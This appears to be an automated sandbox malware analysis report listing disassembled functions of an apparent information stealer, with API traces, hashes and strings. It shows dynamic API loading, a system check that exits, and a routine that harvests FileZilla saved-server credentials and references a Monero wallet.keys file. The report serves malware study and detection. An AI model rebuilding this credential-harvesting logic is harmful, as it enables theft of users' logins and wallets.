Opcode ID: 6fd1da91f91876f852f1eb18b0908dd20dab4adaf7ddf5456ac2c5d4c4f0d698
Instruction ID: d1a98e8cd6cdb438277d08ed59f8ec47615fdf1f113ebb23418d2b4568153c4b
Opcode Fuzzy Hash: 6fd1da91f91876f852f1eb18b0908dd20dab4adaf7ddf5456ac2c5d4c4f0d698
Instruction Fuzzy Hash: B2F04FB2D44208ABC700DFD8DD49BAEFBB8FB04721F10025AFA15E2680C77815058BA1

Function 007F1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 007F116A
ExitProcess.KERNEL32 ref: 007F117E

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 262898af652cf1ec70ec3c1e1c4a2d66c5e468a3dffe6a38fcb85853c9bb6a14
Instruction ID: 11578575b7ea68ffd706b67f7c1f4fc40c86c885687fefa8030208f47cc17e2b
Opcode Fuzzy Hash: 262898af652cf1ec70ec3c1e1c4a2d66c5e468a3dffe6a38fcb85853c9bb6a14
Instruction Fuzzy Hash: 84D05E7490031CDBCB00DFE0DC896EDBB78FB18321F000555E905A2340EA315492CAA6

Function 00809C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01345890), ref: 00809C2D
GetProcAddress.KERNEL32(74DD0000,013457D0), ref: 00809C45
GetProcAddress.KERNEL32(74DD0000,01359640), ref: 00809C5E
GetProcAddress.KERNEL32(74DD0000,01359670), ref: 00809C76
GetProcAddress.KERNEL32(74DD0000,01359688), ref: 00809C8E
GetProcAddress.KERNEL32(74DD0000,013596A0), ref: 00809CA7
GetProcAddress.KERNEL32(74DD0000,0134B608), ref: 00809CBF
GetProcAddress.KERNEL32(74DD0000,0135D488), ref: 00809CD7
GetProcAddress.KERNEL32(74DD0000,0135D4A0), ref: 00809CF0
GetProcAddress.KERNEL32(74DD0000,0135D5A8), ref: 00809D08
GetProcAddress.KERNEL32(74DD0000,0135D578), ref: 00809D20
GetProcAddress.KERNEL32(74DD0000,013457F0), ref: 00809D39
GetProcAddress.KERNEL32(74DD0000,01345830), ref: 00809D51
GetProcAddress.KERNEL32(74DD0000,013458B0), ref: 00809D69
GetProcAddress.KERNEL32(74DD0000,013458D0), ref: 00809D82
GetProcAddress.KERNEL32(74DD0000,0135D548), ref: 00809D9A
GetProcAddress.KERNEL32(74DD0000,0135D4D0), ref: 00809DB2
GetProcAddress.KERNEL32(74DD0000,0134B770), ref: 00809DCB
GetProcAddress.KERNEL32(74DD0000,01345970), ref: 00809DE3
GetProcAddress.KERNEL32(74DD0000,0135D560), ref: 00809DFB
GetProcAddress.KERNEL32(74DD0000,0135D530), ref: 00809E14
GetProcAddress.KERNEL32(74DD0000,0135D4B8), ref: 00809E2C
GetProcAddress.KERNEL32(74DD0000,0135D590), ref: 00809E44
GetProcAddress.KERNEL32(74DD0000,01345990), ref: 00809E5D
GetProcAddress.KERNEL32(74DD0000,0135D470), ref: 00809E75
GetProcAddress.KERNEL32(74DD0000,0135D3F8), ref: 00809E8D
GetProcAddress.KERNEL32(74DD0000,0135D4E8), ref: 00809EA6
GetProcAddress.KERNEL32(74DD0000,0135D458), ref: 00809EBE
GetProcAddress.KERNEL32(74DD0000,0135D410), ref: 00809ED6
GetProcAddress.KERNEL32(74DD0000,0135D500), ref: 00809EEF
GetProcAddress.KERNEL32(74DD0000,0135D440), ref: 00809F07
GetProcAddress.KERNEL32(74DD0000,0135D518), ref: 00809F1F
GetProcAddress.KERNEL32(74DD0000,0135D428), ref: 00809F38
GetProcAddress.KERNEL32(74DD0000,0135A300), ref: 00809F50
GetProcAddress.KERNEL32(74DD0000,0135D0E0), ref: 00809F68
GetProcAddress.KERNEL32(74DD0000,0135D0C8), ref: 00809F81
GetProcAddress.KERNEL32(74DD0000,013459B0), ref: 00809F99
GetProcAddress.KERNEL32(74DD0000,0135CE40), ref: 00809FB1
GetProcAddress.KERNEL32(74DD0000,01345A10), ref: 00809FCA
GetProcAddress.KERNEL32(74DD0000,0135D008), ref: 00809FE2
GetProcAddress.KERNEL32(74DD0000,0135CFA8), ref: 00809FFA
GetProcAddress.KERNEL32(74DD0000,013459D0), ref: 0080A013
GetProcAddress.KERNEL32(74DD0000,01345D10), ref: 0080A02B
LoadLibraryA.KERNEL32(0135CED0,?,00805CA3,00810AEB,?,?,?,?,?,?,?,?,?,?,00810AEA,00810AE3), ref: 0080A03D
LoadLibraryA.KERNEL32(0135CF90,?,00805CA3,00810AEB,?,?,?,?,?,?,?,?,?,?,00810AEA,00810AE3), ref: 0080A04E
LoadLibraryA.KERNEL32(0135CF48,?,00805CA3,00810AEB,?,?,?,?,?,?,?,?,?,?,00810AEA,00810AE3), ref: 0080A060
LoadLibraryA.KERNEL32(0135CFC0,?,00805CA3,00810AEB,?,?,?,?,?,?,?,?,?,?,00810AEA,00810AE3), ref: 0080A072
LoadLibraryA.KERNEL32(0135CDF8,?,00805CA3,00810AEB,?,?,?,?,?,?,?,?,?,?,00810AEA,00810AE3), ref: 0080A083
LoadLibraryA.KERNEL32(0135CE70,?,00805CA3,00810AEB,?,?,?,?,?,?,?,?,?,?,00810AEA,00810AE3), ref: 0080A095
LoadLibraryA.KERNEL32(0135CE58,?,00805CA3,00810AEB,?,?,?,?,?,?,?,?,?,?,00810AEA,00810AE3), ref: 0080A0A7
LoadLibraryA.KERNEL32(0135D098,?,00805CA3,00810AEB,?,?,?,?,?,?,?,?,?,?,00810AEA,00810AE3), ref: 0080A0B8
GetProcAddress.KERNEL32(75290000,01345B70), ref: 0080A0DA
GetProcAddress.KERNEL32(75290000,0135CF78), ref: 0080A0F2
GetProcAddress.KERNEL32(75290000,01358FB8), ref: 0080A10A
GetProcAddress.KERNEL32(75290000,0135CE10), ref: 0080A123
GetProcAddress.KERNEL32(75290000,01345DF0), ref: 0080A13B
GetProcAddress.KERNEL32(6FC70000,0134B838), ref: 0080A160
GetProcAddress.KERNEL32(6FC70000,01345D70), ref: 0080A179
GetProcAddress.KERNEL32(6FC70000,0134B900), ref: 0080A191
GetProcAddress.KERNEL32(6FC70000,0135CFF0), ref: 0080A1A9
GetProcAddress.KERNEL32(6FC70000,0135CF00), ref: 0080A1C2
GetProcAddress.KERNEL32(6FC70000,01345E10), ref: 0080A1DA
GetProcAddress.KERNEL32(6FC70000,01345AF0), ref: 0080A1F2
GetProcAddress.KERNEL32(6FC70000,0135CEB8), ref: 0080A20B
GetProcAddress.KERNEL32(752C0000,01345AB0), ref: 0080A22C
GetProcAddress.KERNEL32(752C0000,01345B50), ref: 0080A244
GetProcAddress.KERNEL32(752C0000,0135CFD8), ref: 0080A25D
GetProcAddress.KERNEL32(752C0000,0135CE28), ref: 0080A275
GetProcAddress.KERNEL32(752C0000,01345AD0), ref: 0080A28D
GetProcAddress.KERNEL32(74EC0000,0134B798), ref: 0080A2B3
GetProcAddress.KERNEL32(74EC0000,0134B5E0), ref: 0080A2CB
GetProcAddress.KERNEL32(74EC0000,0135CE88), ref: 0080A2E3
GetProcAddress.KERNEL32(74EC0000,01345BF0), ref: 0080A2FC
GetProcAddress.KERNEL32(74EC0000,01345CF0), ref: 0080A314
GetProcAddress.KERNEL32(74EC0000,0134B810), ref: 0080A32C
GetProcAddress.KERNEL32(75BD0000,0135D020), ref: 0080A352
GetProcAddress.KERNEL32(75BD0000,01345C30), ref: 0080A36A
GetProcAddress.KERNEL32(75BD0000,01359038), ref: 0080A382
GetProcAddress.KERNEL32(75BD0000,0135CEA0), ref: 0080A39B
GetProcAddress.KERNEL32(75BD0000,0135D038), ref: 0080A3B3
GetProcAddress.KERNEL32(75BD0000,01345B10), ref: 0080A3CB
GetProcAddress.KERNEL32(75BD0000,01345C10), ref: 0080A3E4
GetProcAddress.KERNEL32(75BD0000,0135CEE8), ref: 0080A3FC
GetProcAddress.KERNEL32(75BD0000,0135D050), ref: 0080A414
GetProcAddress.KERNEL32(75A70000,01345CB0), ref: 0080A436
GetProcAddress.KERNEL32(75A70000,0135D068), ref: 0080A44E
GetProcAddress.KERNEL32(75A70000,0135D080), ref: 0080A466
GetProcAddress.KERNEL32(75A70000,0135CF18), ref: 0080A47F
GetProcAddress.KERNEL32(75A70000,0135CF30), ref: 0080A497
GetProcAddress.KERNEL32(75450000,01345B30), ref: 0080A4B8
GetProcAddress.KERNEL32(75450000,01345BD0), ref: 0080A4D1
GetProcAddress.KERNEL32(75DA0000,01345B90), ref: 0080A4F2
GetProcAddress.KERNEL32(75DA0000,0135D0B0), ref: 0080A50A
GetProcAddress.KERNEL32(6F070000,01345BB0), ref: 0080A530
GetProcAddress.KERNEL32(6F070000,01345D30), ref: 0080A548
GetProcAddress.KERNEL32(6F070000,01345C50), ref: 0080A560
GetProcAddress.KERNEL32(6F070000,0135CF60), ref: 0080A579
GetProcAddress.KERNEL32(6F070000,01345D50), ref: 0080A591
GetProcAddress.KERNEL32(6F070000,01345D90), ref: 0080A5A9
GetProcAddress.KERNEL32(6F070000,01345C70), ref: 0080A5C2
GetProcAddress.KERNEL32(6F070000,01345CD0), ref: 0080A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0080A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0080A607
GetProcAddress.KERNEL32(75AF0000,0135D218), ref: 0080A629
GetProcAddress.KERNEL32(75AF0000,01358FD8), ref: 0080A641
GetProcAddress.KERNEL32(75AF0000,0135D140), ref: 0080A659
GetProcAddress.KERNEL32(75AF0000,0135D158), ref: 0080A672
GetProcAddress.KERNEL32(75D90000,01345C90), ref: 0080A693
GetProcAddress.KERNEL32(6CFD0000,0135D320), ref: 0080A6B4
GetProcAddress.KERNEL32(6CFD0000,01345DB0), ref: 0080A6CD
GetProcAddress.KERNEL32(6CFD0000,0135D170), ref: 0080A6E5
GetProcAddress.KERNEL32(6CFD0000,0135D2F0), ref: 0080A6FD

Strings

InternetSetOptionA, xrefs: 0080A5E5
HttpQueryInfoA, xrefs: 0080A5FC

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: be6b0e6837f100ed82bef84a9bd1399173d8021ade8d5c7befe92900593712c9
Instruction ID: 3ca13a439b5783eab87144e33975e03fcb466d985f2a97d9a9a7c6ef67e4477c
Opcode Fuzzy Hash: be6b0e6837f100ed82bef84a9bd1399173d8021ade8d5c7befe92900593712c9
Instruction Fuzzy Hash: E66209B6604220AFC344DFE9ED88D663BF9F7BC701714851AB689C3264D7399843DB62

Function 007F7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 007F7724
RtlAllocateHeap.NTDLL(00000000), ref: 007F772B
lstrcat.KERNEL32(?,01359C80), ref: 007F78DB
lstrcat.KERNEL32(?,?), ref: 007F78EF
lstrcat.KERNEL32(?,?), ref: 007F7903
lstrcat.KERNEL32(?,?), ref: 007F7917
lstrcat.KERNEL32(?,0135E4B8), ref: 007F792B
lstrcat.KERNEL32(?,0135E5F0), ref: 007F793F
lstrcat.KERNEL32(?,0135E470), ref: 007F7952
lstrcat.KERNEL32(?,0135E488), ref: 007F7966
lstrcat.KERNEL32(?,01359D08), ref: 007F797A
lstrcat.KERNEL32(?,?), ref: 007F798E
lstrcat.KERNEL32(?,?), ref: 007F79A2
lstrcat.KERNEL32(?,?), ref: 007F79B6
lstrcat.KERNEL32(?,0135E4B8), ref: 007F79C9
lstrcat.KERNEL32(?,0135E5F0), ref: 007F79DD
lstrcat.KERNEL32(?,0135E470), ref: 007F79F1
lstrcat.KERNEL32(?,0135E488), ref: 007F7A04
lstrcat.KERNEL32(?,01359D70), ref: 007F7A18
lstrcat.KERNEL32(?,?), ref: 007F7A2C
lstrcat.KERNEL32(?,?), ref: 007F7A40
lstrcat.KERNEL32(?,?), ref: 007F7A54
lstrcat.KERNEL32(?,0135E4B8), ref: 007F7A68
lstrcat.KERNEL32(?,0135E5F0), ref: 007F7A7B
lstrcat.KERNEL32(?,0135E470), ref: 007F7A8F
lstrcat.KERNEL32(?,0135E488), ref: 007F7AA3
lstrcat.KERNEL32(?,01359DD8), ref: 007F7AB6
lstrcat.KERNEL32(?,?), ref: 007F7ACA
lstrcat.KERNEL32(?,?), ref: 007F7ADE
lstrcat.KERNEL32(?,?), ref: 007F7AF2
lstrcat.KERNEL32(?,0135E4B8), ref: 007F7B06
lstrcat.KERNEL32(?,0135E5F0), ref: 007F7B1A
lstrcat.KERNEL32(?,0135E470), ref: 007F7B2D
lstrcat.KERNEL32(?,0135E488), ref: 007F7B41
lstrcat.KERNEL32(?,0135E648), ref: 007F7B55
lstrcat.KERNEL32(?,?), ref: 007F7B69
lstrcat.KERNEL32(?,?), ref: 007F7B7D
lstrcat.KERNEL32(?,?), ref: 007F7B91
lstrcat.KERNEL32(?,0135E4B8), ref: 007F7BA4
lstrcat.KERNEL32(?,0135E5F0), ref: 007F7BB8
lstrcat.KERNEL32(?,0135E470), ref: 007F7BCC
lstrcat.KERNEL32(?,0135E488), ref: 007F7BDF
lstrcat.KERNEL32(?,0135E6B0), ref: 007F7BF3
lstrcat.KERNEL32(?,?), ref: 007F7C07
lstrcat.KERNEL32(?,?), ref: 007F7C1B
lstrcat.KERNEL32(?,?), ref: 007F7C2F
lstrcat.KERNEL32(?,0135E4B8), ref: 007F7C43
lstrcat.KERNEL32(?,0135E5F0), ref: 007F7C56
lstrcat.KERNEL32(?,0135E470), ref: 007F7C6A
lstrcat.KERNEL32(?,0135E488), ref: 007F7C7E

Part of subcall function 007F75D0: lstrcat.KERNEL32(2F9A7020,008117FC), ref: 007F7606
Part of subcall function 007F75D0: lstrcat.KERNEL32(2F9A7020,00000000), ref: 007F7648
Part of subcall function 007F75D0: lstrcat.KERNEL32(2F9A7020, : ), ref: 007F765A
Part of subcall function 007F75D0: lstrcat.KERNEL32(2F9A7020,00000000), ref: 007F768F
Part of subcall function 007F75D0: lstrcat.KERNEL32(2F9A7020,00811804), ref: 007F76A0
Part of subcall function 007F75D0: lstrcat.KERNEL32(2F9A7020,00000000), ref: 007F76D3
Part of subcall function 007F75D0: lstrcat.KERNEL32(2F9A7020,00811808), ref: 007F76ED
Part of subcall function 007F75D0: task.LIBCPMTD ref: 007F76FB

lstrcat.KERNEL32(?,0135EA08), ref: 007F7E0B
lstrcat.KERNEL32(?,0135D980), ref: 007F7E1E
lstrlen.KERNEL32(2F9A7020), ref: 007F7E2B
lstrlen.KERNEL32(2F9A7020), ref: 007F7E3B

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: c33ce29b2036adc8463d1cc0e8158d5785b9a0579a1b2a018b6ce6ab357edf9c
Instruction ID: 4627666b5ce9ab005401d6e7014e1fb42b053b7775284f4af4194c98294bdd85
Opcode Fuzzy Hash: c33ce29b2036adc8463d1cc0e8158d5785b9a0579a1b2a018b6ce6ab357edf9c
Instruction Fuzzy Hash: 563231B6C00318ABC755EBA4DC85DEA777CBB54700F044A88F259A2090EE75E78ACF52

Function 00800250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 00808DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00808E0B

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007F99EC
Part of subcall function 007F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007F9A11
Part of subcall function 007F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 007F9A31
Part of subcall function 007F99C0: ReadFile.KERNEL32(000000FF,?,00000000,007F148F,00000000), ref: 007F9A5A
Part of subcall function 007F99C0: LocalFree.KERNEL32(007F148F), ref: 007F9A90
Part of subcall function 007F99C0: CloseHandle.KERNEL32(000000FF), ref: 007F9A9A

Part of subcall function 00808E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00808E52

GetProcessHeap.KERNEL32(00000000,000F423F,00810DBA,00810DB7,00810DB6,00810DB3), ref: 00800362
RtlAllocateHeap.NTDLL(00000000), ref: 00800369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00800385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00810DB2), ref: 00800393
StrStrA.SHLWAPI(00000000,<Port>), ref: 008003CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00810DB2), ref: 008003DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00800419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00810DB2), ref: 00800427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00800463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00810DB2), ref: 00800475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00810DB2), ref: 00800502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00810DB2), ref: 0080051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00810DB2), ref: 00800532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00810DB2), ref: 0080054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00800562
lstrcat.KERNEL32(?,profile: null), ref: 00800571
lstrcat.KERNEL32(?,url: ), ref: 00800580
lstrcat.KERNEL32(?,00000000), ref: 00800593
lstrcat.KERNEL32(?,00811678), ref: 008005A2
lstrcat.KERNEL32(?,00000000), ref: 008005B5
lstrcat.KERNEL32(?,0081167C), ref: 008005C4
lstrcat.KERNEL32(?,login: ), ref: 008005D3
lstrcat.KERNEL32(?,00000000), ref: 008005E6
lstrcat.KERNEL32(?,00811688), ref: 008005F5
lstrcat.KERNEL32(?,password: ), ref: 00800604
lstrcat.KERNEL32(?,00000000), ref: 00800617
lstrcat.KERNEL32(?,00811698), ref: 00800626
lstrcat.KERNEL32(?,0081169C), ref: 00800635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00810DB2), ref: 0080068E

Strings

<Pass encoding="base64">, xrefs: 0080045A
login: , xrefs: 008005CA
browser: FileZilla, xrefs: 00800559
profile: null, xrefs: 00800568
<Port>, xrefs: 008003C6
<Host>, xrefs: 0080037C
url: , xrefs: 00800577
<User>, xrefs: 00800410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 008002A4
password: , xrefs: 008005FB

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
